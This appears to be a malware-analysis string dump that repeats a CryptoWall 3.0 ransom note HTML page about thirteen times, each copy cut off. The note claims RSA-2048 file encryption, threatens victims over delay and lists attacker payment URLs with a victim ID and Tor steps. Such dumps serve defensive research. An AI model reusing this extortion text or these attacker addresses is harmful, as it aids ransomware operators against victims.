Source: restore_files_gpmus.html248.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html273.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html229.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html175.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html245.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html230.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html189.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html158.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html324.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html334.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html407.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html217.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html357.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key 